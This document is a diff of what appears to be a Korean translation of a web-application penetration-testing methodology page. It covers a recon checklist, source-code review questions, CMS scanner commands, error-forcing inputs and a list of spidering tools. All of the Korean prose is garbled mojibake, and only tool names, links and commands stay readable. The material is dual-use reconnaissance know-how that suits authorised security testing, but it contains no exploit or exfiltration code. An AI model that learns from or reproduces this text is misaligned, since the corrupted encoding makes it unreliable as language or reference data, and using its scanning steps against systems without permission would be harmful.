๋ฐœ๊ฒฌํ• ์ง€, ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์ฐพ์„์ง€ ์•Œ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. +- [ ] **์ผ๋ฐ˜ ๋ชฉ์ ์˜ ์Šค์บ๋„ˆ**๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. ๋ฌด์–ธ๊ฐ€๋ฅผ ๋ฐœ๊ฒฌํ• ์ง€, ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ๋ฐœ๊ฒฌํ• ์ง€ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. - [ ] **์ดˆ๊ธฐ ์ ๊ฒ€**๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜์„ธ์š”: **robots**, **sitemap**, **404** ์˜ค๋ฅ˜ ๋ฐ **SSL/TLS ์Šค์บ”**(HTTPS์ธ ๊ฒฝ์šฐ). - [ ] ์›น ํŽ˜์ด์ง€๋ฅผ **์ŠคํŒŒ์ด๋”๋ง**ํ•˜๊ธฐ ์‹œ์ž‘ํ•˜์„ธ์š”: ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  **ํŒŒ์ผ, ํด๋”** ๋ฐ **์‚ฌ์šฉ๋˜๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜**๋ฅผ **์ฐพ๋Š”** ์‹œ๊ฐ„์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ **ํŠน๋ณ„ํ•œ ๋ฐœ๊ฒฌ**์„ ํ™•์ธํ•˜์„ธ์š”. -- [ ] _๋ธŒ๋ฃจํŠธ ํฌ์‹ฑ ๋˜๋Š” ์ŠคํŒŒ์ด๋”๋ง ์ค‘์— ์ƒˆ๋กœ์šด ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ๋ฐœ๊ฒฌ๋  ๋•Œ๋งˆ๋‹ค ์ŠคํŒŒ์ด๋”๋งํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”._ -- [ ] **๋””๋ ‰ํ† ๋ฆฌ ๋ธŒ๋ฃจํŠธ ํฌ์‹ฑ**: ๋ฐœ๊ฒฌ๋œ ๋ชจ๋“  ํด๋”๋ฅผ ๋ธŒ๋ฃจํŠธ ํฌ์Šคํ•˜์—ฌ ์ƒˆ๋กœ์šด **ํŒŒ์ผ** ๋ฐ **๋””๋ ‰ํ† ๋ฆฌ**๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”. -- [ ] _๋ธŒ๋ฃจํŠธ ํฌ์‹ฑ ๋˜๋Š” ์ŠคํŒŒ์ด๋”๋ง ์ค‘์— ์ƒˆ๋กœ์šด ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ๋ฐœ๊ฒฌ๋  ๋•Œ๋งˆ๋‹ค ๋ธŒ๋ฃจํŠธ ํฌ์‹ฑํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”._ +- [ ] _๋ธŒ๋ฃจํŠธ ํฌ์‹ฑ ๋˜๋Š” ์ŠคํŒŒ์ด๋”๋ง ์ค‘์— ์ƒˆ๋กœ์šด ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ๋ฐœ๊ฒฌ๋  ๋•Œ๋งˆ๋‹ค ์ŠคํŒŒ์ด๋”๋งํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค._ +- [ ] **๋””๋ ‰ํ† ๋ฆฌ ๋ธŒ๋ฃจํŠธ ํฌ์‹ฑ**: ๋ฐœ๊ฒฌ๋œ ๋ชจ๋“  ํด๋”๋ฅผ ๋ธŒ๋ฃจํŠธ ํฌ์Šคํ•˜์—ฌ ์ƒˆ๋กœ์šด **ํŒŒ์ผ**๊ณผ **๋””๋ ‰ํ† ๋ฆฌ**๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”. +- [ ] _๋ธŒ๋ฃจํŠธ ํฌ์‹ฑ ๋˜๋Š” ์ŠคํŒŒ์ด๋”๋ง ์ค‘์— ์ƒˆ๋กœ์šด ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ๋ฐœ๊ฒฌ๋  ๋•Œ๋งˆ๋‹ค ๋ธŒ๋ฃจํŠธ ํฌ์Šคํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค._ - [ ] **๋ฐฑ์—… ํ™•์ธ**: ์ผ๋ฐ˜์ ์ธ ๋ฐฑ์—… ํ™•์žฅ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ **๋ฐœ๊ฒฌ๋œ ํŒŒ์ผ**์˜ **๋ฐฑ์—…**์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”. - [ ] **๋ธŒ๋ฃจํŠธ ํฌ์Šค ๋งค๊ฐœ๋ณ€์ˆ˜**: **์ˆจ๊ฒจ์ง„ ๋งค๊ฐœ๋ณ€์ˆ˜**๋ฅผ **์ฐพ์•„๋ณด์„ธ์š”**. - [ ] **์‚ฌ์šฉ์ž ์ž…๋ ฅ**์„ ์ˆ˜์šฉํ•˜๋Š” ๋ชจ๋“  ๊ฐ€๋Šฅํ•œ **์—”๋“œํฌ์ธํŠธ**๋ฅผ **์‹๋ณ„**ํ•œ ํ›„, ๊ด€๋ จ๋œ ๋ชจ๋“  ์ข…๋ฅ˜์˜ **์ทจ์•ฝ์ **์„ ํ™•์ธํ•˜์„ธ์š”. @@ -103,14 +103,14 @@ _๊ฐ™์€ ๋„๋ฉ”์ธ์ด **๋‹ค๋ฅธ ํฌํŠธ**, **ํด๋”** ๋ฐ **์„œ๋ธŒ๋„๋ฉ”์ธ**์—์„œ ### Source Code Review -์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ **์†Œ์Šค ์ฝ”๋“œ**๊ฐ€ **github**์— ์žˆ๋Š” ๊ฒฝ์šฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ **ํ™”์ดํŠธ ๋ฐ•์Šค ํ…Œ์ŠคํŠธ**๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ ์™ธ์—๋„ ํ˜„์žฌ **๋ธ”๋ž™ ๋ฐ•์Šค ํ…Œ์ŠคํŠธ**์— **์œ ์šฉํ•œ** **์ •๋ณด**๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ **์†Œ์Šค ์ฝ”๋“œ**๊ฐ€ **github**์— ์žˆ๋Š” ๊ฒฝ์šฐ, **์ž์‹ ์˜ ํ™”์ดํŠธ ๋ฐ•์Šค ํ…Œ์ŠคํŠธ**๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ ์™ธ์—๋„ ํ˜„์žฌ **๋ธ”๋ž™ ๋ฐ•์Šค ํ…Œ์ŠคํŠธ**์— **์œ ์šฉํ•œ** **์ •๋ณด**๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: -- **Change-log ๋˜๋Š” Readme ๋˜๋Š” Version** ํŒŒ์ผ์ด๋‚˜ ์›น์„ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ **๋ฒ„์ „ ์ •๋ณด**๊ฐ€ ์žˆ๋‚˜์š”? -- **์ž๊ฒฉ ์ฆ๋ช…**์€ ์–ด๋–ป๊ฒŒ ๊ทธ๋ฆฌ๊ณ  ์–ด๋””์— ์ €์žฅ๋˜๋‚˜์š”? ์ž๊ฒฉ ์ฆ๋ช…(์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ)์ด ํฌํ•จ๋œ (์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ?) **ํŒŒ์ผ**์ด ์žˆ๋‚˜์š”? +- **Change-log ๋˜๋Š” Readme ๋˜๋Š” Version** ํŒŒ์ผ์ด๋‚˜ **๋ฒ„์ „ ์ •๋ณด์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ** ๊ฒƒ์ด ์žˆ๋‚˜์š”? +- **์ž๊ฒฉ ์ฆ๋ช…**์€ ์–ด๋–ป๊ฒŒ ์–ด๋””์— ์ €์žฅ๋˜๋‚˜์š”? ์ž๊ฒฉ ์ฆ๋ช…(์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ)์ด ํฌํ•จ๋œ (์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ?) **ํŒŒ์ผ**์ด ์žˆ๋‚˜์š”? - **๋น„๋ฐ€๋ฒˆํ˜ธ**๋Š” **์ผ๋ฐ˜ ํ…์ŠคํŠธ**, **์•”ํ˜ธํ™”**๋˜์–ด ์žˆ๊ฑฐ๋‚˜ ์–ด๋–ค **ํ•ด์‹ฑ ์•Œ๊ณ ๋ฆฌ์ฆ˜**์ด ์‚ฌ์šฉ๋˜๋‚˜์š”? - ๋ฌด์–ธ๊ฐ€๋ฅผ ์•”ํ˜ธํ™”ํ•˜๊ธฐ ์œ„ํ•ด **๋งˆ์Šคํ„ฐ ํ‚ค**๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‚˜์š”? ์–ด๋–ค **์•Œ๊ณ ๋ฆฌ์ฆ˜**์ด ์‚ฌ์šฉ๋˜๋‚˜์š”? - ์–ด๋–ค ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด **์ด ํŒŒ์ผ๋“ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‚˜์š”**? -- **github**์— (ํ•ด๊ฒฐ๋œ ๊ฒƒ๊ณผ ํ•ด๊ฒฐ๋˜์ง€ ์•Š์€) **๋ฌธ์ œ**์— **ํฅ๋ฏธ๋กœ์šด ์ •๋ณด**๊ฐ€ ์žˆ๋‚˜์š”? ๋˜๋Š” **์ปค๋ฐ‹ ๊ธฐ๋ก**์— (์•„๋งˆ๋„ **์˜ค๋ž˜๋œ ์ปค๋ฐ‹์— ํฌํ•จ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ**)? +- **github**์— (ํ•ด๊ฒฐ๋œ ๊ฒƒ๊ณผ ํ•ด๊ฒฐ๋˜์ง€ ์•Š์€ ๊ฒƒ) **๋ฌธ์ œ**์— **ํฅ๋ฏธ๋กœ์šด ์ •๋ณด**๊ฐ€ ์žˆ๋‚˜์š”? ๋˜๋Š” **์ปค๋ฐ‹ ๊ธฐ๋ก**์— (์•„๋งˆ๋„ **์˜ค๋ž˜๋œ ์ปค๋ฐ‹์— ํฌํ•จ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ**)? {{#ref}} code-review-tools.md @@ -145,7 +145,7 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> ์ด ์‹œ์ ์—์„œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ์›น ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ •๋ณด(์ฃผ์–ด์ง„ ๋ฐ์ดํ„ฐ๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ)๋ฅผ ์ด๋ฏธ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ํ…Œ์ŠคํŠธ ์ค‘์— ์—ผ๋‘์— ๋‘์–ด์•ผ ํ•  ๋ช‡ ๊ฐ€์ง€ ์š”๋ น์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์šด์ด ์ข‹๋‹ค๋ฉด CMS๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ณ  ์Šค์บ๋„ˆ๋ฅผ ์‹คํ–‰ํ–ˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. +> ์ด ์‹œ์ ์—์„œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ์›น ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ •๋ณด(์ฃผ์–ด์ง„ ๋ฐ์ดํ„ฐ๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ)๋ฅผ ์ด๋ฏธ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ํ…Œ์ŠคํŠธ ์ค‘์— ์—ผ๋‘์— ๋‘์–ด์•ผ ํ•  ๋ช‡ ๊ฐ€์ง€ ์š”๋ น์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์šด์ด ์ข‹๋‹ค๋ฉด CMS๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ณ  ์Šค์บ๋„ˆ๋ฅผ ์‹คํ–‰ํ–ˆ์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ## ๋‹จ๊ณ„๋ณ„ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํƒ์ƒ‰ @@ -164,12 +164,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs **์˜ค๋ฅ˜ ๊ฐ•์ œ ๋ฐœ์ƒ** -์›น ์„œ๋ฒ„๋Š” ์ด์ƒํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์ „์†ก๋  ๋•Œ **์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฐฉ์‹์œผ๋กœ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์ด๋Š” **์ทจ์•ฝ์ **์ด๋‚˜ **๋ฏผ๊ฐํ•œ ์ •๋ณด์˜ ๋…ธ์ถœ**์„ ์—ด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์›น ์„œ๋ฒ„๋Š” ์ด์ƒํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์ „์†ก๋  ๋•Œ **์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฐฉ์‹์œผ๋กœ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์ด๋Š” **์ทจ์•ฝ์ **์ด๋‚˜ **๋ฏผ๊ฐํ•œ ์ •๋ณด์˜ ๋…ธ์ถœ**์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **๊ฐ€์งœ ํŽ˜์ด์ง€**์— ์ ‘๊ทผํ•˜๊ธฐ: /whatever_fake.php (.aspx, .html, .etc) +- /whatever_fake.php (.aspx, .html, ๋“ฑ)์™€ ๊ฐ™์€ **๊ฐ€์งœ ํŽ˜์ด์ง€**์— ์ ‘๊ทผ - **์ฟ ํ‚ค ๊ฐ’** ๋ฐ **๋งค๊ฐœ๋ณ€์ˆ˜** ๊ฐ’์— **"\[]", "]]", ๋ฐ "\[\["** ์ถ”๊ฐ€ํ•˜์—ฌ ์˜ค๋ฅ˜ ์ƒ์„ฑ -- **URL**์˜ **๋**์— **`/~randomthing/%s`** ์ž…๋ ฅํ•˜์—ฌ ์˜ค๋ฅ˜ ์ƒ์„ฑ -- PATCH, DEBUG ๋˜๋Š” FAKE์™€ ๊ฐ™์€ **๋‹ค๋ฅธ HTTP ๋™์‚ฌ** ์‹œ๋„ +- **URL**์˜ **๋**์— **`/~randomthing/%s`**๋กœ ์ž…๋ ฅํ•˜์—ฌ ์˜ค๋ฅ˜ ์ƒ์„ฑ +- PATCH, DEBUG ๋˜๋Š” FAKE์™€ ๊ฐ™์€ **๋‹ค์–‘ํ•œ HTTP ๋™์‚ฌ** ์‹œ๋„ #### **ํŒŒ์ผ ์—…๋กœ๋“œ ๊ฐ€๋Šฅ ์—ฌ๋ถ€ ํ™•์ธ (**[**PUT ๋™์‚ฌ, WebDav**](put-method-webdav.md)**)** @@ -180,7 +180,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs ### **SSL/TLS ์ทจ์•ฝ์ ** -- ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **์–ด๋–ค ๋ถ€๋ถ„์—์„œ๋„ HTTPS ์‚ฌ์šฉ์„ ๊ฐ•์ œํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด**, ์ด๋Š” **MitM ๊ณต๊ฒฉ์— ์ทจ์•ฝ**ํ•ฉ๋‹ˆ๋‹ค. +- ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **์–ด๋А ๋ถ€๋ถ„์—์„œ๋„ HTTPS ์‚ฌ์šฉ์„ ๊ฐ•์ œํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด**, ์ด๋Š” **MitM ๊ณต๊ฒฉ์— ์ทจ์•ฝ**ํ•ฉ๋‹ˆ๋‹ค. - ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **HTTP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ(๋น„๋ฐ€๋ฒˆํ˜ธ)๋ฅผ ์ „์†กํ•˜๋Š” ๊ฒฝ์šฐ**, ์ด๋Š” ๋†’์€ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. [**testssl.sh**](https://github.com/drwetter/testssl.sh)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์ทจ์•ฝ์ **์„ ํ™•์ธํ•˜๊ณ  (๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ํ”„๋กœ๊ทธ๋žจ์—์„œ๋Š” ์ด๋Ÿฌํ•œ ์ข…๋ฅ˜์˜ ์ทจ์•ฝ์ ์ด ์ˆ˜์šฉ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค) [**a2sv**](https://github.com/hahwul/a2sv)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์žฌํ™•์ธํ•˜์„ธ์š”: @@ -201,28 +201,28 @@ SSL/TLS ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ •๋ณด: ์›น ๋‚ด์—์„œ **์ŠคํŒŒ์ด๋”**๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ŠคํŒŒ์ด๋”์˜ ๋ชฉํ‘œ๋Š” ํ…Œ์ŠคํŠธ๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ **๊ฐ€๋Šฅํ•œ ๋งŽ์€ ๊ฒฝ๋กœ๋ฅผ ์ฐพ๋Š” ๊ฒƒ**์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์›น ํฌ๋กค๋ง๊ณผ ์™ธ๋ถ€ ์†Œ์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ€๋Šฅํ•œ ๋งŽ์€ ์œ ํšจํ•œ ๊ฒฝ๋กœ๋ฅผ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML ์ŠคํŒŒ์ด๋”, JS ํŒŒ์ผ ๋ฐ ์™ธ๋ถ€ ์†Œ์Šค(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)์—์„œ ๋งํฌ ์ฐพ๊ธฐ. -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML ์ŠคํŒŒ์ด๋”, JS ํŒŒ์ผ์— ๋Œ€ํ•œ LinkFinder ๋ฐ Archive.org๋ฅผ ์™ธ๋ถ€ ์†Œ์Šค๋กœ ์‚ฌ์šฉ. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML ์ŠคํŒŒ์ด๋”, JS ํŒŒ์ผ ๋ฐ ์™ธ๋ถ€ ์†Œ์Šค(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)์—์„œ LinkFinder. +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML ์ŠคํŒŒ์ด๋”, JS ํŒŒ์ผ์— ๋Œ€ํ•œ LinkFinder ๋ฐ ์™ธ๋ถ€ ์†Œ์Šค๋กœ Archive.org ์‚ฌ์šฉ. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML ์ŠคํŒŒ์ด๋”, "juicy files"๋„ ํ‘œ์‹œ. - [**evine** ](https://github.com/saeeddhqan/evine)(go): ๋Œ€ํ™”ํ˜• CLI HTML ์ŠคํŒŒ์ด๋”. Archive.org์—์„œ๋„ ๊ฒ€์ƒ‰. -- [**meg**](https://github.com/tomnomnom/meg) (go): ์ด ๋„๊ตฌ๋Š” ์ŠคํŒŒ์ด๋”๋Š” ์•„๋‹ˆ์ง€๋งŒ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜ธ์ŠคํŠธ๊ฐ€ ์žˆ๋Š” ํŒŒ์ผ๊ณผ ๊ฒฝ๋กœ๊ฐ€ ์žˆ๋Š” ํŒŒ์ผ์„ ์ง€์ •ํ•˜๋ฉด meg๊ฐ€ ๊ฐ ํ˜ธ์ŠคํŠธ์˜ ๊ฐ ๊ฒฝ๋กœ๋ฅผ ๊ฐ€์ ธ์™€ ์‘๋‹ต์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. +- [**meg**](https://github.com/tomnomnom/meg) (go): ์ด ๋„๊ตฌ๋Š” ์ŠคํŒŒ์ด๋”๋Š” ์•„๋‹ˆ์ง€๋งŒ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜ธ์ŠคํŠธ๊ฐ€ ์žˆ๋Š” ํŒŒ์ผ๊ณผ ๊ฒฝ๋กœ๊ฐ€ ์žˆ๋Š” ํŒŒ์ผ์„ ์ง€์ •ํ•˜๋ฉด meg๊ฐ€ ๊ฐ ํ˜ธ์ŠคํŠธ์˜ ๊ฐ ๊ฒฝ๋กœ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ์‘๋‹ต์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. - [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS ๋ Œ๋”๋ง ๊ธฐ๋Šฅ์ด ์žˆ๋Š” HTML ์ŠคํŒŒ์ด๋”. ๊ทธ๋Ÿฌ๋‚˜ ์œ ์ง€ ๊ด€๋ฆฌ๋˜์ง€ ์•Š๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๋ฉฐ, ๋ฏธ๋ฆฌ ์ปดํŒŒ์ผ๋œ ๋ฒ„์ „์ด ์˜ค๋ž˜๋˜์—ˆ๊ณ  ํ˜„์žฌ ์ฝ”๋“œ๋Š” ์ปดํŒŒ์ผ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. - [**gau**](https://github.com/lc/gau) (go): ์™ธ๋ถ€ ์ œ๊ณต์—…์ฒด(wayback, otx, commoncrawl)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” HTML ์ŠคํŒŒ์ด๋”. - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์žˆ๋Š” URL์„ ์ฐพ์•„ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค. - [**galer**](https://github.com/dwisiswant0/galer) (go): JS ๋ Œ๋”๋ง ๊ธฐ๋Šฅ์ด ์žˆ๋Š” HTML ์ŠคํŒŒ์ด๋”. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS ํŒŒ์ผ์—์„œ ์ƒˆ๋กœ์šด ๊ฒฝ๋กœ๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ๋Š” JS beautify ๊ธฐ๋Šฅ์ด ์žˆ๋Š” HTML ์ŠคํŒŒ์ด๋”. [JSScanner](https://github.com/dark-warlord14/JSScanner)๋„ ์‚ดํŽด๋ณผ ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” LinkFinder์˜ ๋ž˜ํผ์ž…๋‹ˆ๋‹ค. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML ์†Œ์Šค์™€ ๋‚ด์žฅ๋œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ ๋ชจ๋‘์—์„œ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. ๋ฒ„๊ทธ ํ—Œํ„ฐ, ๋ ˆ๋“œ ํŒ€์›, ์ •๋ณด ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€์—๊ฒŒ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript ํŒŒ์ผ์—์„œ ์ƒ๋Œ€ URL์„ ๊ตฌ๋ฌธ ๋ถ„์„ํ•˜๊ธฐ ์œ„ํ•ด Tornado์™€ JSBeautifier๋ฅผ ์‚ฌ์šฉํ•˜๋Š” Python 2.7 ์Šคํฌ๋ฆฝํŠธ. AJAX ์š”์ฒญ์„ ์‰ฝ๊ฒŒ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์œ ์ง€ ๊ด€๋ฆฌ๋˜์ง€ ์•Š๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ž…๋‹ˆ๋‹ค. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ํŒŒ์ผ(HTML)์„ ์ฃผ๋ฉด ์ •๊ทœ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ๋Œ€ URL์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado์™€ JSBeautifier๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ JavaScript ํŒŒ์ผ์—์„œ ์ƒ๋Œ€ URL์„ ๊ตฌ๋ฌธ ๋ถ„์„ํ•˜๋Š” Python 2.7 ์Šคํฌ๋ฆฝํŠธ. AJAX ์š”์ฒญ์„ ์‰ฝ๊ฒŒ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์œ ์ง€ ๊ด€๋ฆฌ๋˜์ง€ ์•Š๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ž…๋‹ˆ๋‹ค. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ํŒŒ์ผ(HTML)์„ ์ฃผ๋ฉด ๋ฉ‹์ง„ ์ •๊ทœ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ๋Œ€ URL์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, ์—ฌ๋Ÿฌ ๋„๊ตฌ): ์—ฌ๋Ÿฌ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ JS ํŒŒ์ผ์—์„œ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. - [**subjs**](https://github.com/lc/subjs) (go): JS ํŒŒ์ผ์„ ์ฐพ์Šต๋‹ˆ๋‹ค. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ํ—ค๋“œ๋ฆฌ์Šค ๋ธŒ๋ผ์šฐ์ €์—์„œ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๊ณ  ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๋ชจ๋“  URL์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ํ—ค๋“œ๋ฆฌ์Šค ๋ธŒ๋ผ์šฐ์ €์—์„œ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๊ณ  ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋œ ๋ชจ๋“  URL์„ ์ธ์‡„ํ•ฉ๋‹ˆ๋‹ค. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): ์ด์ „ ๋„๊ตฌ์˜ ์—ฌ๋Ÿฌ ์˜ต์…˜์„ ํ˜ผํ•ฉํ•œ ์ฝ˜ํ…์ธ  ๋ฐœ๊ฒฌ ๋„๊ตฌ. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS ํŒŒ์ผ์—์„œ ๊ฒฝ๋กœ์™€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•œ Burp ํ™•์žฅ. - [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL์„ ์ฃผ๋ฉด ์•„๋ฆ„๋‹ต๊ฒŒ ์ •๋ฆฌ๋œ JS ์ฝ”๋“œ๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋„๊ตฌ. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): ์ฃผ์–ด์ง„ ๋Œ€์ƒ์— ๋Œ€ํ•œ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐ 